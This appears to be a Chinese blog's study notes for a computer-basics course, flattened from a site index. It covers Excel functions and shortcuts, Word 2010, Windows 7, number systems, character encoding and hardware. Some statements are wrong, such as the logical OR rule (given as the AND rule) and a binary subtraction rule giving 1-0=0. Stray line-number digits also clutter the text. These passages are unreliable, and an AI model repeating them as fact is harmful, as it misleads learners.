输入负数时应在负数前输入负号或将其置于括号中 如:-8或(8) 在单元格中输入超过11位的数字时,Excel会自动使用科学计数法来显示该数字 Excel只保留15位的数字精度 日期和时间型数据 默认状态下:日期和时间型数据在单元格中右对齐 日期分隔符:”/“,”-“ 时间分隔符:”:” 如果要基于12小时制输入时间,则在时间(不包括只有小时数和冒号的时间数据)后输入一个空格,然后输入AM或PM来表示上午或下午 Ctrl+;—>当天的日期 Ctrl+Shift+;—>当前时间 AM/PM—>上午/下午 文本型数据 默认左对齐要输入纯数字的文本如身份证号等,应在第一个数字前加英文符号单引号’ 数据的清除和删除 清除(delete等同于Backspace):清除单元格格式、单元格中的内容及格式、批注、超链接等单元格本身并不受影响 数据删除的对象是单元格、行或列,即单元格、行或列的删除.删除后,选取的单元格、行或列连同里面的数据都从工作表中消失 数据有效性 用于定义可以在单元格中输入或应该在单元格中输入那些数据 自动填充数据 初值为纯数字型数据 直接拖动填充柄—>复制填充 Ctrl+拖动—>正数部分自动增1 初值为日期时间型数据 直接拖动填充柄—>自动增1以日、时为单位 Ctrl+拖动—>复制填充 初值为纯文字型数据 始终为复制填充 初值为文字型数据和数字型数据混合体,填充时文字不变,数字递增减 直接拖动填充柄—>最右的数字自动增1 Ctrl+拖动—>复制填充 初值为Excel预设序列中的数据 直接拖动填充柄—>按按预设序列填充 Ctrl+拖动—>复制填充 公式与函数公式 公式以”=”开始,一个公式一般包含单元格有引用、运算符、值、常量、函数等几种元素 四类运算符 算术运算符 比较运算符True and False excel字母比较不区分大小写(字符串比较从第一个开始顺序比较) 文本运算符 引用运算符 “:”称为单元格引用运算符:用于定义一个连续的数据区域 “,”称为联合运算符:用于将多个引用合并成一个引用 “ “(空格)称为交叉运算符,表示只处理区域中相互重叠的部分 :(冒号)、 (空格)、,(逗号)—>%(百分比)—>^(乘幂)—>*(乘)、/(除)—>+(加)、-(减)—>&(连接符)—> =、<、>、<=、>=、<>(比较运算符) 引用方式 相对引用 单元格地址会随着公式所在位置而异如:=F2+G2 绝对引用 单元格地址不会随着公式所在位置而异 形式是在每一个列标及行号前加一个"$"符号.如:$A$2 混合引用 单元格或单元格区域的地址部分是相对引用,部分 是绝对引用如:$A2、A$2 F4切换引用方式 三维地址引用 在Excel中,不但可以引用同一工作表中的单元格, 还能引用不同工作表中的单元格.引用格式:[工作簿]工作表名!单元格引用如:[工作簿2]Sheet1!E3 函数出错信息表错误值 可能的原因 ##### 列宽不足 or 日期时间公式产生负值 #>VALUE! 参数或运算对象类型错误 or 公式自动更正功能失效 #DIV/0! 公式被0除 #NAME? 使用了无法识别的文本 #N/A 无可用数值 #REF! 单元格引用无效 #NUM! 数字有问题 #NULL! 试图为不相交的区域指定交叉点 常用函数求和函数Sum(number1,number2,….) 计算一组数值number1,number2,….的总和(如果错误或无法转换的值将会自动忽略) 单条件求和函数SumIF(range,criteria,[sum_range]) 用于对区域中符合指定条件的值求和 需求:统计系别为城市规划的同学的哲学总分=SUMIF(C3:C11,"城市规划",F3:F11) range参数(必选):用于条件计算的单元格区域.每个区域中的单元格都必须是数字或名称、数组或包含数字的引用,但空值和文本值将被忽略 criteria参数(必选):用于确定对哪些单元格求和的条件,其形式可以为数字、表达式、单元格引用、文本或函数例如,条件可以表示为32、”>32”、B5、”TRUE”或TODAY()等 任何文本条件或任何含有逻辑或数字符号的条件都必须使用双引号括起来.如果条件为数字,则无需使用双引号 sum_range参数(可选):指要求和的实际单元格.如果sum_range参数被省略,Excel会对range参数中指定的单元格(即应用条件的单元格)求和 多条件求和函数sumifs(sum_range, criteria_range1, criteria1, [criteria_range2, criteria2, …) 需求:统计系别为”城市规划”性别为”女”的哲学分=SUMIFS(F2:F11,C2:C11,"城市规划",E2:E11,"女") sum_range:实际求和区域 criteria_range1:第一个条件区域 criteria1:第一个对应的求和条件 criteria_range2:第二个条件区域 criteria2:第二个对应的求和条件 求平均值函数Average(number1,number2,…..) 计算number1,number2,…..的平均值 number1,number2,…..为要计算平均值的参数,参数可以是数字或涉及数字的名称、数组或引用. 如果数组或单元格引用参数中有文字、逻辑值或空单元格则忽略其值;如果单元格包含零值则计算在内 计数函数Count(value1,value2,….) Count函数计算单元格以及参数列表中数值数据的个数 如果参数为数字、日期或者代表数字的文本(例如:用引号引起的数字,如”1”),则将被计算在内 逻辑值和直接键入到参数列表中代表数字的文本则被计算在内 如果参数为错误值或不能转换为数字的文本,则不会计算在内 如果参数为数组或引用,则只计算数组或引用中数字的个数,不会计算数组或引用中的空单元格、逻辑值、文本或错误值 筛选计数CountIF(Range,criteria) 统计区域中满足给定条件的单元格个数 需求:统计系别为”城市规划”的人数=COUNTIF(C2:C11,"城市规划") range:要统计的单元格区域 criteria:指定的条件表达式 其形式可以为数字、表达式、单元格引用或文本 允许引用的单元格区域中有空白单元格出现 COUNTIFS(条件匹配查询区域1,条件1,条件匹配查询区域2,条件2,以此类推……) 需求:统计系别为”城市规划”哲学分为80分以上的人数=COUNTIFS(C2:C11,"城市规划",F2:F11,">80") 排名函数Rank(number,ref,order) 返回单元格number在一个垂直区域ref中的排名 需求:排名=RANK(J3,$J$3:$J$11,0) number:为需要找到排位的数字 ref:为包含一组数字的数组或引用绝对引用 order:为一数字用来指明排位的方式 降序:如果order为0或省略,则Excel将ref当作按降序排列的数据清单进行排位 升序:如果order不为零,Excel将ref当作按升序排列的数据清单进行排位 Max/Min(number1,number2,….) Max、Min分别用来求解数据集的极值(即最大值、最小值) 其中:number1,number2,….为需要找出最大数值的参数区域.参数中的空白单元格、逻辑值或文本将被忽略 IF(logical_test,[value_if_true],[value_if_false]) 如果指定条件的计算结果为True,则IF函数将返回[value_if_true];如果该条件的计算结果为False,则返回[value_if_false] logical_test参数(必选),是计算结果可能为True或False的任意值或表达式 value_if_true参数是计算结果为True时所要返回的值 value_if_false参数是计算结果为False时所要返回的值 需求如果总分大于300为优,大于250为二级优等于200为三级优=IF(J3>300,"优",IF(J3>250,"二级优",IF(J3=200,"三级优"))) 取字符串子串函数Left、Right、Mid 都是字符串提取函数 Left(text,num_chars) 从左向右取 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 chars:是想要提取的个数 Right(text,num_chars) 从右向左取 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 chars:是想要提取的个数 Mid(text,start_num,num_chars) 从左向右取,但不一定是从第一个起,可以从中间开始 text:文本,是包含要提取字符串的文本字符串,可以是一个字符串,或是一个单元格引用 start_num:要提取的开始字符 num_chars:是想要提取的个数 AND、OR语法格式为:函数(logical1,logical2,….) 参数必须是逻辑值True或False,或者包含逻辑值的数组或引用.参数中的文本或空白单元格将被忽略.如果指定的单元格区域内包括非逻辑值,则AND将返回错误值”#VALUE!”,表示参数错误 AND函数 所有参数的逻辑值为真时,返回True;只要一个参数的逻辑值为假,即返回False OR函数 所有参数的逻辑值为假时,返回False;只要一个参数值为真,即返回True VlookUp(Lookup_value,table_array,col_index_num,[range_lookup]) 使用VlookUp函数搜索某个单元格区域的第一列,然后返回该区域相同行上任何单元格中的值 查找李东同学的总成绩=VLOOKUP("李东",$B$3:$J$11,9)李东为你要查找区域的第一列数据,9代表的是从B3开始数总分列为第9列,区域要为绝对引用,相对引用的话会导致填充时区域随着公式位置而变 Lookup_value(必选参数):即要查找的值,可以是值或引用 如果Lookup_value参数提供的值小于table_array参数第一列中的最小值,则VLookUp将返回错误值#N/A Table_array(必选参数):即查找的范围 Col_index_num(必选参数):是Table_array参数中要返回的匹配值对应的列号 Col_index_num参数为1时,返回Table_array第一列中的值以此类推 Range_lookup(可选参数):是一个逻辑值,指定希望VlookUp查找精确匹配值还是近似匹配值 如果Range_lookup为True或被省略,则返回精确匹配值或近似匹配值;如果找不到精确匹配值,则返回小于Lookup_value的最大值 系统日期和时间函数now()返回系统当前时间year(now()):获取系统当前年份month(now()):获取系统当前月份=day(now()):获取系统当前第多少天=year(now())-mid(A1,7,4)获取多少岁A1:'370509200106012000 mod(number,divisor)=mod(被除数,除数)date(year,month,day)给出指定数值的日期在单元格中输入:=date(2021,13,35)结果为:2022-2-4特别提醒:由于上述公式中,月份为 13,多了一个月,顾延至2022年1月;天数为35,比2022年1月的实际天数又多了4天,故又顺延至2022年2月4日 数据处理数据清单 具有二维表特性的电子表格在Excel中被称为Excel数据清单又称Excel数据库,其中行表示记录,列表示字段.数据清单的第一行必须为文本类型,为相应列的名称(每一列包含相同类型的数据) 排序 Excel 2010中最多按64个关键字排序,Word 2010表格中,最多按3个关键字排序排序是对数据清单中的一列或多列数据按升序或降序排列的一种组织数据的手段 简单排序:只需选中该列中的任一单元格 单击”数据”选项卡—>”排序和筛选”组—>”升序”或”降序”命令或”自定义序列”进行排序 复杂排序:对多列进行排序 在需排序的数据清单中选择任一单元格—>”数据”选项卡—>”排序和筛选”组—>”排序”命令—>弹出”排序对话框” 筛选 有条件地筛选出满足某种条件的记录行:而另一部分不满足条件的记录行只是暂时隐藏起来 自动筛选 选择数据清单中的任一单元格—>”数据”—>”排序和筛选”—>”筛选”命令,数据清单中的每个字段名旁边会显示一个向下的三角箭头为筛选器箭头多个列之间只能”与运算”不能”或运算” 高级筛选:根据复合条件或计算条件来对数据进行筛选 筛选条件区域由两部分组成 类似于一个只包含条件的数据清单 条件的列标题和具体的筛选条件 条件区域中,若条件是”与”关系则将条件放在同一行,若是”或”关系则将条件放在不同行 分类汇总 指的是对数据清单某个字段中的数据进行分类,并对各类数据进行各种统计及计算,如求和、计数、求平均值和最大值等.在进行分类汇总之前,需要对分类的数据项进行排序复制汇总结果:alt+; 数据透视表 能够将筛选、排序和分类汇总等操作依次完成,并生成汇总表格.数据透视表功能强大,可以对数据进行分类、汇总、筛选等,制造出所需要的数据统计报表 模拟分析 指通过更改单元格中的值来查看这些更改对工作表中公式结果的影响的过程 模拟分析工具 方案管理器 模拟运算表 单变量求解 图表 基于工作表中的数据建立的,是工作表单元格中数据的图形化表示,以直观形象的形式显示数据及数据之间的关系.工作表中的数据发生变化时,图表中对应项的数据系列自动变化 分类 嵌入式图表 它和创建图表的数据源放置在同一张工作表中,打印时同时打印 独立图表 他说一个独立的图表工作表,打印时也将与数据表分开打印 组成 图表区 图表标题 图例 绘图区 垂直轴标题 水平轴标题 垂直抽 水平轴 网格线 数据系列 数据系列对应工作表中的一行或者一列数据 数据标签 迷你图 类似于图标功能,只不过将其简化,使其可以显示在一个单元格中,简单地以一个图表的样子在一个单元格内显示出指定单元格内的一组数据的变化 折线图 柱形图 盈亏图 快捷键 Ctrl+单击工作表—>形成工作组 在Sheet1的操作可同步到工作组中的其他工作表 Ctrl+鼠标拖动工作表—>复制工作表 Ctrl+Enter—>在选定的多个单元格内输入相同内容 Ctrl+9—>隐藏行 Ctrl+0—>隐藏列 Ctrl+F1—>打开/隐藏功能区 Ctrl+F12—>打开 Ctrl+;—>当天的日期 Ctrl+Shift+;—>当前时间 Alt+Enter—>单元格内强制换行 Alt+;—>复制汇总结果 Alt+F1—>建立图表 Shift+F11—>在当前工作表前插入新工作表 Shift+12—>保存 F2—>显示当前单元格的公式 F4->切换引用方式 F12—>另存为","tags":["计算机基础"]},{"title":"第三章Word 2010","path":"/2021/10/21/77eb77a2/","content":"总字符数: 5.32K 代码: 无, 文本: 1.79K 预计阅读时间: 8 分钟 Office 2010 基本知识 应用程序界面结构 标题栏 控制菜单图标 快速访问工具栏(可以定制) 窗口控制按钮 文档名称 程序名称 窗口控制按钮 功能区 在”文件”—>”选项”—>”自定义功能区”可以减少和增加 功能区工具栏可以定制 每个选项卡由多个组 组成,每个组又包括多个命令 文件 开始 插入 页面布局 引用 邮件 审阅 视图 文档编辑区 有水平和垂直两种标尺 状态栏 注意插入和改写的区别 显示当前文档的页数/总页数 字数 输入语言 输入状态 视图切换按钮和显示比例调节工具 Backstage视图 “文件”选项卡即可查看Backstage视图(文件级功能),包含用于对文档执行操作的命令集 要退出Backstage视图可以单击”开始”选项卡或者快捷键Esc Office 2010应用程序帮助的使用 单击功能区右侧的”Microsoft Word帮助”按钮 快捷键F1 Backstage视图中单击”帮助” Word 2010 的基本操作 视图 页面视图 最接近打印结果 页眉 页脚 图形对象 分栏设置 页面边距 阅读版式视图 以图书的分栏样式显示 Web版式视图 以网页的形式显示,适用于发送电子邮件和创建网页 大纲视图 显示层级结构,广泛用于长文档,不显示图片 草稿视图 仅显示标题和正文,是最节省计算机系统硬件资源的视图方式 文档的编辑 输入文本内容 “即点即输” 文字处单击鼠标左键 空白处双击左键 插入/改写—-Insert(快捷键) 插入符号 “插入”选项卡—>”符号” 选定文本 左边选定栏/选定区 单击—>行 双击—>段 三击/Ctrl+A/Ctrl+单击—>全文 段落内 单击—>光标定位 双击—>选中一个词/字 三击—>选中一段 Ctrl+单击—>选中一句话 Alt+鼠标选定—>选择垂直文本 Shift+光标—>选择连续文本 Ctrl+光标—>选择不连续文本 “开始”—>”编辑”—>”选择” 剪贴板:可以存放最近24次复制/剪贴的内容 文档校对 “审阅”—>”校对”/F7 绿色波浪线—->可能存在语法错误 红色波浪线—>拼写错误 字数统计 “审阅”—>”校对”—>”字数统计” 字数统计对话框中显示了当前文档的页数、字数段落数、行数等信息 统计方式 任意选定部分内容统计 全文统计 文档格式化与排版 格式刷(Ctrl+Shift+C) 只能复制格式,不能复制内容 单击只能刷一次 双击可刷多次 解除格式刷:再次单击”格式刷”/Esc(快捷键) 快速清除格式:Ctrl+Shift+Z/N 不能清除高亮显示 设置段落格式 文档中两次回车之间的所有字符,包括段后的回车符 段落对齐方式 两端对齐 左对齐 居中对齐 右对齐 分散对齐 段落缩进方式 设置方式 “段落”工具组 “段落”对话框 水平标尺 左缩进 右缩进 首行缩进 悬挂缩进 回车 硬回车:enter 换行的同时分隔段落 软回车:Shift+回车 换行不换段 项目符号和编号添加多级列表 降级 “段落”组—>”增加缩进量”按钮 Tab(快捷键) 升级 “段落”组—>”减少缩进量”按钮 Shift+Tab(快捷键) 分页分节分栏 分页:Ctrl+Enter组合键插入人工分页符,自动分页符不能手工删除 分节:节是独立的编辑单位,不同节可以设置不同格式 分栏:与分栏符不同,可以设置为多栏 页眉页脚:”插入”选项卡—>”页眉/页脚”/双击页眉/页脚区域 页眉页脚不能和内容同时编辑 样式和模板 样式(不是文件) 样式:一系列排版格式的总和,包括字符格式,段落格式等 模板(文件) 模板可以包含样式,扩展名: .dotx 自动恢复 默认值10分M可以修改的范围[1,120]M 自动备份的副本后缀名.wbk 常用快捷键 应用操作 Alt+F4—>退出应用程序 Crtl+Alt+P—>打开页面视图 Ctrl+F1—>最小化及还原功能区 Ctrl+S/Shift+F12—>保存文档 F12—>另存为文档 Ctrl+O/Ctrl+F12—>打开文档 Ctrl+W—>关闭相应文档窗口而不退出应用程序 Ctrl+P—>进入打印预览 F1—>打开”帮助” Esc—>退出Backstage视图 内容处理 文字操作 Ctrl+B—>加粗 Ctrl+I—>倾斜 Ctrl+U—->下划线 Alt+鼠标选定—>选中垂直文本 Ctrl+A—>选中全文 Ctrl+Shift+C—>格式刷 Ctrl+Shift+Z/N—>快速清除格式 Insert/鼠标单击—>插入/改写 段落操作 Enter—>人工分段 选择操作 Ctrl+单击—>选中一句话 Shift+Home—>快选到行首 Shift+End—>快选到行尾 Ctrl+Shift+Home—>快选到文档首部 Ctrl+Shift+End—>快选到文档尾部 基本操作 Shift+Enter—>人工换行 Ctrl+Enter—>人工分页(换页) Ctrl+F—>查找 Ctrl+H—>替换 Ctrl+G/F5—>定位 Ctrl+Home/Ctrl+End—>跳到文档首/尾 Home/End—>行首/尾 Ctrl+Shift+F9 取消目录链接 Ctrl+K—>插入超链接 Ctrl+Y—>重复操作 F7—>”校对” 多级列表 Tab—>增加缩进量 Shift+Tab—>减少缩进量 域代码 Shift+F9 域代码和域结果切换 F9域更新","tags":["计算机基础"]},{"title":"第二章Windows 7操作系统","path":"/2021/10/15/66207078/","content":"总字符数: 3.54K 代码: 无, 文本: 1.77K 预计阅读时间: 8 分钟 第二章:Windows 7操作系统操作系统概述 操作系统为用户提供友好的界面,操作系统是一组控制和管理计算机系统的硬件和软件资源合理的组织计算机工作流程并为用户使用计算机提供系良好运行环境的一种系统软件 操作系统的功能 处理机功能 存储管理 设备管理 文件管理 作业管理(要求计算机所做工作的集合称为作业) 操作系统的主要特征 两大重要特征:并发性,共享性 并发性(同一时段内同时运行) 共享性 虚拟性 异步性(又称随机性) 操作系统的分类 功能特征 批处理操作系统 分时操作系统(多路性交互性及时性独占性)时间片轮转 实时操作系统(实时性高可靠性完整性) 使用环境 嵌入式操作系统 个人计算机操作系统 网络操作系统 分布式操作系统 常见操作系统 DOS操作系统 UNIX操作系统 Linux操作系统 Windows操作系统多用户多任务 Mac OS操作系统 IOS操作系统 Android操作系统 Windows 7 基础 WIN7优点: 更简单 更安全 更好的连接 更低的成本 基本操作 桌面:计算机启动完成后,显示器上显示的整个屏幕区域称为桌面 桌面的主要元素 图标 “开始”按钮 快捷方式(扩展名:.lnk) 任务栏 “开始”菜单 快速启动栏 任务按钮区 通知区域 显示桌面按钮 窗口的组成 只要运行某个应用程序或打开某个文档,就会对应出现一个矩形区域,这个矩形区域称为窗口 边框 搜索栏 *匹配多个任意字符 ?匹配一个任意字符 “前进/后退”按钮 工具栏(工具栏上的按钮会根据查看的内容不同而又所变化) 导航窗格(树形) 标题栏 详细信息面板 菜单栏 “朝右三角”还有下级菜单 “···”单击此菜单会打开一个对话框 “对号”复选菜单 “●”单选菜单如果是灰色表示当前不可用 滚动条(当内容超出屏幕时,系统自动生成) 对话框 交互,可以移动位置,不能改变大小,不能最大化最小化,没有任务栏图标 模式对话框 主程序窗口被禁止,只有关闭该对话框才能处理主窗口 非模式对话框 即使在对话框被显示时仍可处理主窗口的对话框 剪切板 在内存中开辟的临时存储区域 文件和文件夹的概念 文件(File)是指具有文件名、存放在外存储器上的一组相关信息的集合 文件名不能使用特殊符号\\/:*?"<>,文件名最多255个字符,中文127个字符,不区分大小写 计算机通过文件夹来组织管理文件 扩展名:标志着文件的类型 可执行文件扩展名:.exe .bat .com 音频格式:.wav 位图格式:.bmp 视频格式:mpeg 录音机(扩展名:.wma) 画图(扩展名:png) 写字板(扩展名:.rtf) 资源管理器(分层方式显示文件) 快捷键Win+E 库:默认已经设置了视频、图片文档和音乐的字库 可以将一个文件夹(非文件)添加到库,库中并不真正存储文件,而是快捷方式,如同网页收藏夹 新建文件只能新建已经在操作系统中注册过的文件类型 文件和文件夹的属性都可以设置为”只读”,”隐藏”,”存档” 同C异拖(复制) 同拖异S(移动) Windows 7 控制面板 控制面板是一些实用程序的集合 Windows操作系统自带的查看及修改系统设置的图形化工具 打印机 默认打印机的图标左下角有一个”对号”标志 在打印过程中用户可以取消/暂停正在打印或打印队列中的打印作业 程序 分类 绿色软件:复制,删除 非绿色软件:安装,卸载 用户账户(win7有家长控制功能) Administrator And Guest为默认禁用状态 Administrator(管理员) Guest(来宾) 标准账户 Windows 7 系统维护 磁盘格式化 完全格式化 清除磁盘中的所有数据并且对磁盘进行扫描检查,将发现的坏道、坏区进行标注并不会修复 快速格式化 只清除磁盘中的所有数据 磁盘错误检查 检测当前磁盘分区存在的错误,进而对错误进行修复 清理磁盘 清理磁盘中的”垃圾”,使得可用存储空间变大 磁盘碎片整理 重新排列碎片数据,提高磁盘存取速度 Windows 7 实用程序 画图(扩展名:png/.bmp) 记事本(单文本编辑环境,只能编辑纯文本,默认扩展名:.txt) 写字板(扩展名:.rtf) 计算器 截图工具(能够将屏幕中显示的内容截取为图片,保存为文件,复制到其他程序) 任意格式截图 矩形截图 窗口截图 全屏幕截图 录音机(扩展名:.wma) 数学输入面板 Windows 7 快捷键 删除文件/文件夹 delete 删除(进入回收站) shift+delete (不进入回收站,直接删除) PrintScreen 截图全屏并复制 Alt+PrintScreen 截图活动窗口并复制 输入法快捷键 Ctrl+空格—中英文切换 Shift+空格—全半角切换 Ctrl+.—中英文标点 Ctrl+Shift—输入法切换 启动任务管理器 Ctrl+Alt+Delete Ctrl+Shift+Esc “开始”菜单 Ctrl+Esc Win键 搜索窗口 可以根据文件修改日期,文件类型,文件大小搜索 F3 窗口切换 Win+Tab(3D) Alt+Tab Alt+Esc 资源管理器:Win+E “运行”对话框:Win+R 关闭当前程序或窗口:Alt+F4 帮助:F1","tags":["计算机基础"]},{"title":"第一章计算机基础知识","path":"/2021/10/13/f65e33/","content":"总字符数: 12.96K 代码: 1.55K, 文本: 5.92K 预计阅读时间: 32 分钟 第一章:计算机基础知识信息与信息技术 信息与数据 信息是在自然界、人类社会和人类思维活动中普遍存在的一切物质和事物的属性 数据:是指存储在某种媒体上可以加以鉴别的符号资料,数据是信息的具体表现形式,是信息的载体,信息的符号化就是数据.信息是对数据进行加工得到的结果,他可以影响到人们的行为,决策,或对客观事物的认知 信息社会也称信息化社会,是继工业化社会以后,以信息活动为社会发展的基本活动的新型社会形态 信息技术是指人们获取、存储、传递、处理、开发和利用信息资源的相关技术 计算机技术概论 计算机的起源与发展 计算机起源:1946年2月在美国的宾夕法尼亚大学投入运行的ENIAC(十进制) 1最先实现存储的电子计算机是Edvac 计算机的发展:根据计算机采用的元器件的不同,将发展分为四代p3 第一代:1946~1956电子管,机器语言、汇编语言,军事领域、科学计算 第二代:1956~1964晶体管,高级语言,数据处理、工业控制 第三代:1964~1971中小规模集成电路,操作系统、会话式语言,文字处理、图形处理 第四代:1971~至今大规模、超大规模集成电路,数据库计算机网络,社会各个方面 计算机思想:英国数学家查尔斯·巴贝奇最先提出通用数字计算机的基本设计思想,在设计一种基于计算自动化的程序控制的分析机时提出了几乎是完整的计算机设计方案,被称为”计算机之父” 计算机的特点及分类 特点 运算速度快 计算精度高 存储容量大 具有逻辑判断能力 工作自动化 通用性强 分类 处理对象 模拟计算机 数字计算机 混合计算机 规模 巨型机(重点) 微型机(重点) 大型机 小型机 微型机 工作站 用途 专用计算机 通用计算机 应用领域 科学计算 数据处理 计算机辅助系统 计算机辅助设计(CAD) 计算机辅助制造(CAM) 计算机辅助测试(CAT) 计算机辅助教育(CBE) 计算机辅助教学(CAI) 计算机管理教学(CMI) 计算机集成制造系统(CIMS) 计算机中信息的表示 在计算机中,不管是什么样的数据都用二进制编码形式表示和处理 数制:用进位的原则进行计数称为进位计数制,又称进制 基数:数码是一组用来表示某种数值的符号,数制所使用的数码个数就称为”基数”或”基” 位权:数码在不同位置上的权值称为位权 常用进位计数制 十进制(D),逢十进一,借一当十数码:0-9 二进制(B),逢二进一,借一当二数码:0-1 八进制(O),逢八进一,借一当八数码:0-7 十六进制(H),逢十六进一,借一当十六数码:0-9A-F 进制转换 R进制(二进制、八进制、十六进制)转10进制 标指数 按权展 和相加 十进制转二进制 整数除二取余法,余数倒排 小数乘2法,乘积的整数部分正排 二进制转八进制,一组三个,421法 二进制转十六进制一组四个,8421法 二进制运算和规则 末地址-首地址+1=存储单元数量 算数运算规则 加法规则 0+0=0 0+1=1 1+0=1 1+1=10 减法规则 0-0=0 10-1=1 1-0=0 1-1=0 乘法规则 0*0=0 0*1=0 1*0=0 1*1=1 除法规则 0/1=0 1/1=1 百分号运算% 幂运算^ 逻辑运算规则 逻辑与(AND)都为1取1,否则为0 逻辑或(OR)都为1取1,否则为0 逻辑非运算(NOT),0变1,1变0 逻辑异或(XOR)一个为0一个为1时,结果为1,其他为0 信息存储单位 位是计算机存储信息的最小单位(Bit,b) 字节是计算机中用来表示存储空间大小的最基本单位(Byte,B) 1KB=2^10^B=1024B 1MB=2^20^B=1024KB 1GB=2^30^B=1024MB 1TB=2^40^B=1024GB 字通常取字节的整倍数,是计算机进行数据存储和处理的运算单位 数值的表示 BCD码:十进制数的每一位用二进制(4位)代码表示,这种编码方法简称BCD码又称8421法 机器数:就是将十进制数值的符号,最高位用0(正),1(负)表示 1例(-1)=二进制:1(最高位)000 0001 真值:就是带+-(正负号) 12将最高位1写成了负号,这就是真值的书写形式真值:-000 00001或(-1) 机器数的表现形式:原码、补码、反码、移码 原码:符号位加上真值的绝对值,即用最高位表示符号,余位表示值0为正,1为负 123(1) = 0 000 0001(-1) = 1 000 0001 符号位 数值位 反码:正数的反码是其本身,负数的反码是在其源码的基础上,符号位不变,其余各位取反 1234561-1 = 1 + (-1) [0000 0001](原码) [1000 0001](原码) [0000 0001](反码:正数不变) [1111 1110](负数数值位取反) =[1111 1111](反码+反码=反码) =[1000 0000](将其转换为原码) =-0(真值) 补码:正数的补码就是其本身,负数的补码是在其反码的基础上符号位不变,其余各位取反,最后一位+1(即在反码的基础上最后一位+1) 12补码=反码+1-1反码:[1111 1110]+1=[1111 1111]补码 移码:又称增码或偏码,常用于表示浮点数中的阶码移码=补码符号位取反 1如:(-1)(真值)=[1111 1111](-1补码)--->(符号位取反)[0111 1111](移码) 信息的编码 ASCII码又称西文字符 标准的ASCII码采用7位二进制编码,因此一个字符在计算机内实际使用一个字节8位表示 A:65,a:97,0:48,空格:32.空格<数字<大写<小写,十进制大小相差32,十六进制大小相差20H 在ASCII码中控制符号的字符是无法打印或显示出来的 正常情况下,最高位为0在需要奇偶校验时,这一位可用于存放奇偶校验的值,此时称这一位为校验位 汉字编码 汉字交换码:又称国标码汉字编码的国家标准,代号为GB2312-80(80为1980年颁布的) 1一个汉字占两个字节,最高位均为0 GBK:国标扩展码 汉字机内码:汉字被计算机系统内部处理和存储而是用的编码,一个国标码占两个字节,一个汉字占两个字节 1234一个汉字的机内码两个字节的最高位均为1机内码=是将国标码的最高位0变成1,其他位不变00101101 0100101110101101 11001011 汉字区位码(唯一无重码的输入码):为了方便查询和使用.把国标码排列在一张94行(区)94列(位)的二维表中 1区位码+2020H--->国标码+8080H--->机内码(十六进制) 如果机内码反求区位码,切记,一定要转换为十进制 123456789区位码:最早的汉字编码,解决汉字的编排问题区码为行(01-94),位码位列(01-94)高位为区码,低位为位码例"啊"高位就是16,低位是01区位码转换成十六进制区位码1601(4位十进制数组成一个区位码)16D=10H01D=01H=1001H(区位码) 汉字字形码又称汉字字模,用于在显示屏显示或打印机输出,表示方式:点阵和矢量 1存储空间字节数的计算方法:行点数*列点数/8 计算机系统 计算机工作原理 指令是指示计算机执行某种操作的命令,他由一串二进制数码组成,这串二进制数码包括操作码和地址码,所有指令的集合称为计算机指令系统 “存储程序”原理 “存储程序”原理又称冯·诺伊曼原理,其基本思想是存储程序与程序控制 计算机硬件系统 硬件指的是计算机系统中由电子、机械和光电元件等组成的各种计算机部件和计算机设备 裸机:未配置任何软件的计算机 主机是由内存储器和CPU构成的 中央处理器(CPU) 控制器和运算器合称为中央处理器(CPU),时间:1971年.他是计算机的核心部件(硬件),有了CPU后才有了微机 运算器由算术逻辑单元(ALU)和寄存器等组成,主要对二进制进行算术运算和逻辑运算 控制器是整个计算机系统的控制中心 内存储器简称内存又称主存储器内存是CPU可直接访问的存储器 只读存储器(ROM)常用于存放固定>的程序和数据,并且断电后仍能长期保存,一般存放系统的基本输入输出系统(BIOS) 随机存储器(RAM)CPU可以从RAM中既可读出信息又可写入信息,但断电后所存的信息就会丢失,微机中的内存一般指随机存储器(RAM) 静态随机存储器(SRAM),状态稳定,速度快,不需要刷新,不断电不会丢失数据(适合用作Cache的存储器芯片) 动态随机存储器(DRAM),数据易丢失需定时刷新 同步动态随机存储器(SDRAM) 高速缓冲存储器(Cache)断电消失是介于CPU和内存之间的一种可高速存取信息的芯片,是CPU和RAM之间的桥梁,用于解决他们之间的速度冲突问题 互补金属氧化物半导体(CMOS)集成在PCH芯片内部的RAM中,掉电丢失数据,用于保存BIOS的配置信息CMOS与BIOS的区别:CMOS RAM是系统参数存放的地方,BIOS中系统程序设置程序是完成参数设置的方式(手段) 基本输入输出系统(BIOS)是一组固化到计算机内主板上一个ROM芯片上的程序,它保存着计算机最重要的基本输入输出的程序、开机后自检程序和系统自启动程序,它可从CMOS中读写系统设置的具体信息. 内存是CPU可直接访问的存储器 微处理器包括若干个寄存器,寄存器可用来暂存指令、数据和地址 存储器分类 外存储器简称外存又称辅助存储器 外存不能和CPU直接交换数据 CD-RW:可重复录写光盘 CD-R:一次写入永久读 CD-ROW:只读 软盘,磁性物质,容量1.44MB,写保护只读不写 输入输出设备 外存和输入输出设备构成了计算机的外部设备(外设) 计算机软件系统 计算机是通过执行程序所规定的各种指令来处理数据的 软件是指使计算机运行所需的程序、数据和有关文档的总和 程序:解决某一具体问题的指令序列 系统软件是管理、监控和维护计算机资源(包括硬件和软件)、开发应用软件的软件 操作系统 语言处理程序 系统支撑和服务程序 数据库管理系统 应用软件是为了解决计算机各类应用问题而编写的软件 程序设计语言机器语言与汇编语言统称为低级语言 第一代:机器语言,是机器唯一能够直接执行的语言 第二代:汇编语言,采用一定的助记符来代替机器语言中的指令和数据 第三代:高级语言 常见的高级程序设计语言:FORTRAIN,BASIC,PASCAL,C,C#,JAVA,Python 编译:将高级语言所编写的源程序翻译成等价的用机器语言表示的目标程序 解释:解释程序对源程序是一边翻译、一边执行,不产生目标程序 算法 算法是指解题方案的准确而完整的描述,是一系列解决问题的清晰指令,算法代表着用系统的方法描述解决问题的策略机制.也就是说,能够对一定规范的输入,在有限的时间内获得所要求的输出.如果一个算法有缺陷,或不适合与某个问题,执行这个算法将不会解决这个问题.不同的算法可能用不同的世界、空间或效率来完成同样的任务.一个算法的优劣可以利用空间复杂度和时间复杂度来衡量 五大特性 输入:在算法中可以有零个或者多个输入 输出:在算法中至少有一个或者多个输出 有穷行:在执行有限的步骤之后,自动结束不会出现无限循环并且每一个步骤在可接受的时间内完成 确定性:算法的每一个步骤都具有确定的含义,不会出现二义性 可行性:算法的每一步都必须是可行的,也就是说,每一步都能够通过执行有限的次数完成 指令 